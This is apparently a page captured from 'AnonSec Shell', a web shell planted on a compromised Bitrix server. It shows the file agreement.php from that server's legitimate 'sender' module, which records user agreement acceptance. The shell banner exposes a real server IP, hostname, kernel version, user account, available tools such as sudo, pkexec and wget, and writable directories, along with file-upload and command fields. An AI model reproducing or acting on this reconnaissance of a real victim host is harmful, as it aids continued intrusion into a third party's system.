AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.143.218.15
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/sender/lib/security/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/sender/lib/security/agreement.php
<?php

namespace Bitrix\Sender\Security;

use Bitrix\Main\Context;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sender\Internals\Model\AgreementTable;


/**
 * Class Agreement
 * @package Bitrix\Sender\Security
 **/
class Agreement
{
	/**
	 * Checks if User have access to module.
	 *
	 * @param integer $userId User ID.
	 * @return bool
	 */
	public static function isAcceptedByUser($userId)
	{
		$agreement = AgreementTable::getRow(array(
			'select' => array('ID'),
			'filter' => array('=USER_ID' => $userId),
			'limit' => 1,
			'cache' => array('ttl' => 3600)
		));

		return !empty($agreement);
	}

	/**
	 * Request agreement accept.
	 *
	 * @return void
	 */
	public static function requestFromCurrentUser()
	{
		if (User::current()->isAgreementAccepted())
		{
			return;
		}

		\CJSCore::init(array('sender_agreement'));
	}

	/**
	 * Return true if user accepted agreement.
	 *
	 * @return bool
	 */
	public static function acceptByCurrentUser()
	{
		if (User::current()->isAgreementAccepted())
		{
			return true;
		}

		$result = AgreementTable::add(array(
			'USER_ID' => User::current()->getId(),
			'NAME' => User::current()->getObject()->GetFullName(),
			'EMAIL' => User::current()->getObject()->GetEmail(),
			'IP_ADDRESS' => Context::getCurrent()->getRequest()->getRemoteAddress(),
		));

		return $result->isSuccess();
	}

	/**
	 * Get agreement text.
	 *
	 * @param bool $asRichHtml Get as rich html.
	 * @return string
	 */
	public static function getText($asRichHtml = false)
	{
		Loc::loadMessages(__FILE__);

		if ($asRichHtml)
		{
			$msg = Loc::getMessage("SENDER_SECURITY_AGREEMENT_HTML_RICH");
		}
		else
		{
			$msg = Loc::getMessage("SENDER_SECURITY_AGREEMENT_HTML_RICH");
		}

		return $msg;
	}

	/**
	 * Get agreement error text.
	 *
	 * @return string
	 */
	public static function getErrorText()
	{
		Loc::loadMessages(__FILE__);

		return Loc::getMessage("SENDER_SECURITY_AGREEMENT_ERROR");
	}
}

Anon7 - 2022
AnonSec Team